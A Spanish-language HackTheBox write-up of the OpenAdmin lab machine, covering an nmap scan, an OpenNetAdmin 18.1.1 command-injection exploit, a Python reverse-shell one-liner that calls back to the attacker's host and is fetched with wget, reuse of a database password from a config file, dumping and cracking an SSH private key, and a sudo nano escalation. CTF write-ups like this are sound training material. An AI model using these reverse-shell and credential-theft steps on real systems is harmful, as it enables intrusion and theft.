OpenAdmin (HackTheBox) (Spanish)
Content
HTB OpenAdmin writeup#
HackTheBox OpenAdmin machine write up, easy Linux machine. El proceso como siempre será: Escanear –> Punto de entrada inicial –> Usuario –> Root
Análisis inicial#
# añadido a /etc/hosts como 10.10.10.171 OpenAdmin
$ sudo nmap -sV -sC -sT -O -o nmapinitial OpenAdmin
Resultados de nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-07 02:44 CET
Nmap scan report for OpenAdmin (10.10.10.171)
Host is up (0.12s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open tcpwrapped
1063/tcp filtered kyoceranetdev
10621/tcp filtered unknown
15003/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/7%OT=22%CT=1%CU=35292%PV=Y%DS=2%DC=I%G=Y%TM=5E13E2EC
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.42 seconds
Tenemos un servidor OpenSSH, un servidor web con Apache y varios puertos filtrados.
La web web en el puerto 80 parece el predeterminado, dejamos dirbuster
ejecutando en segundo plano por si acaso.
Hay dos rutas que parecen prometedoras, /music/
y /ona/
. /music/
no parece contener nada más que el enlace a /ona/
, analicemos /ona/
.
Tenemos una instancia de OpenNetAdmin v18.1.1
, parece algo anticuada. Si buscamos OpenNetAdmin 18.1.1
en Google obtenemos información sobre una vulnerabilidad de inyección de comandos y dos posibles formas de explotarla, a través del módulo Metasploit o un script bash.
Captura de pantalla del módulo Metasploit en ExploitDB.
Resultados de searchsploit
:
~$ searchsploit OpenNetAdmin
--------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
--------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Cuando hice la máquina por primera vez el módulo no estaba en Metasploit, podemos agregarlo usando las instrucciones proporcionadas en este [artículo] (https://medium.com/@pentest_it/how-to-add-a-module-to-metasploit-from-exploit- db-d389c2a33f6d) o podemos usar el script bash.
Punto de entrada inicial#
Por conveniencia, probaré primero el módulo de Metasploit. Veamos si da resultados:
$ mkdir -p ~/.msf4/modules/exploits/php/webapps/
$ cp /usr/share/exploitdb/exploits/php/webapps/47772.rb ~/.msf4/modules/exploits/php/webapps/
$ sudo updatedb
$ msfconsole
=[ metasploit v5.0.67-dev ]
+ -- --=[ 1958 exploits - 1093 auxiliary - 336 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > search opennetadmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/php/webapps/47772 2019-11-19 excellent Yes OpenNetAdmin Ping Command Injection
msf5 > use 0
msf5 exploit(php/webapps/47772) > show options
Module options (exploit/php/webapps/47772):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /ona/login.php yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf5 exploit(php/webapps/47772) >
En algo he debido meter la pata, tras configurarlo parece no funcionar. Para no perder mucho tiempo probemos el script.
~$ /usr/share/exploitdb/exploits/php/webapps/47691.sh http://openadmin/ona/
$ who
joanna pts/0 Jan 7 15:52 (10.10.14.143)
jimmy pts/1 Jan 7 15:52 (10.10.14.42)
jimmy pts/2 Jan 7 15:52 (10.10.14.244)
jimmy pts/4 Jan 7 15:53 (10.10.15.102)
$ whoami
www-data
Hemos conseguido una shell con los privilegios de la página web, veamos que podemos hacer.
Usuario#
Tenemos un shell de bajo nivel con privilegios de www-data, intentemos escalar al usuario.
Primero, vamos a mejorar la shell que tenemos:
## On our computer
# Create reverseshell
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.75",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); >shell.py'
# Webserver to send file to target machine, wait for connections with nc
sudo python3 -m http.server 80
nc -lvp 1337
## On the server, create a hidden dir so we do not interfere with other people
www-data@openadmin:...$ mkdir /tmp/.my
www-data@openadmin:...$ wget -O /tmp/.my/shell.py http://10.10.15.75:80/shell.py
www-data@openadmin:...$ python3 /tmp/.my/shell.py
Sabemos que el servidor es Apache, la primera idea que se me ocurre es ver los archivos de configuración del sitio web, en caso de que haya otros sitios web, y obtener la ruta desde donde se sirven los archivos. Listar el directorio sites-available
nos da información interesante:
$ ls -lshA /etc/apache2/sites-available
total 16K
8.0K -rw-r--r-- 1 root root 6.2K Jul 16 18:14 default-ssl.conf
4.0K -rw-r--r-- 1 root root 303 Nov 23 17:13 internal.conf
4.0K -rw-r--r-- 1 root root 1.3K Nov 22 14:24 openadmin.conf
$ cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
El sitio internal
parece interesante, usando curl
en la máquina podemos ver un formulario de inicio de sesión. No veo nada nada fácilmente explotable a primera vista (dejemos SQLi u otros ataques web como último recurso), así que seguimos buscando.
En este punto, intenté ejecutar varias herramientas de enumeración, pero ninguna parecía dar información interesante, después de mucho ls
y cat
y algunos callejones sin salida encontré una posible contraseña en / opt / ona / www / local / config / database_settings.inc.php
:
$ cat /opt/ona/www/local/config/database*
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
Probemos la contraseña con SSH
con los tres usuarios que sabemos que están en la máquina, root
, jimmy
y joanna
(como se puede ver en / home
)
~/htb/OpenAdmin$ ssh jimmy@OpenAdmin
The authenticity of host 'openadmin (10.10.10.171)' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'openadmin,10.10.10.171' (ECDSA) to the list of known hosts.
jimmy@openadmin's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jan 9 19:40:21 UTC 2020
System load: 0.26 Processes: 435
Usage of /: 49.2% of 7.81GB Users logged in: 2
Memory usage: 41% IP address for ens160: 10.10.10.171
Swap usage: 0%
=> There is 1 zombie process.
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
41 packages can be updated.
12 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
El directorio home
de Jimmy está vacío, pero ¿y el directorio internal
dentro de / var / www
? Veamos:
jimmy@openadmin:/var/www/internal$ ls -lshA
total 20K
4.0K -rwxrwxr-x 1 jimmy jimmy 918 Jan 9 19:33 a.php
4.0K -rwxrwxr-x 1 jimmy internal 3.2K Nov 22 23:24 index.php
4.0K -rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 logout.php
4.0K -rwxrwxr-x 1 jimmy internal 339 Nov 23 17:40 main.php
4.0K -rwxrwxr-x 1 jimmy jimmy 916 Jan 9 19:40 test.php
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
[...]
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
</div>
</body>
</html>
index.php
consiste en un formulario de inicio de sesión donde, si el usuario y la contraseña coinciden, se nos redirige a /main.php
. Veamos el contenido de main.php
:
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Como se ve en el código, si hemos iniciado sesión, el servidor nos enviará la clave privada de joanna
.
Simplemente podemos comentar la comprobación ("//" antes del if (! Is …)) y acceder al archivo usando curl
.
Recuerda que es una buena práctica deshacer los cambios o reiniciar la máquina una vez que hayas terminado para que otros usuarios no se vean afectados.
jimmy@openadmin:/var/www/internal$ cp main.php .main.php
jimmy@openadmin:/var/www/internal$ nano .main.php
jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/.main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
......
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$ rm .main.php
Guardaremos la clave como joanna.key
, pero como está encriptada, necesitaremos descifrarla primero.
~/htb/OpenAdmin$ nano joanna.key
~/htb/OpenAdmin$ chmod 400 joanna.key
~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
# We do not know the password, ninja does not work
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':
~/htb/OpenAdmin$ python3 /usr/share/john/ssh2john.py joanna.key >pw
/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
data = base64.decodestring(data)
~/htb/OpenAdmin$ john --wordlist=/usr/share/wordlists/rockyou.txt pw
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (joanna.key)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:08 DONE (2020-01-10 01:16) 0.1219g/s 1748Kp/s 1748Kc/s 1748KC/sa6_123..*7¡Vamos!
Session completed
Tenemos una posible contraseña, vamos a probarla:
~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
Enter passphrase for key 'joanna.key':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
[...]
Last login: Thu Jan 2 21:12:40 2020 from 10.10.X.X
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf0**********************
Root#
Usando la herramienta de enumeración Linux Smart Enumeration, encontramos que podemos ejecutar el comando sudo /bin/nano /opt/priv
sin necesidad de contraseña. Utilizando el siguiente GTFBin, podemos conseguir una shell como root, y con ella la flag de root.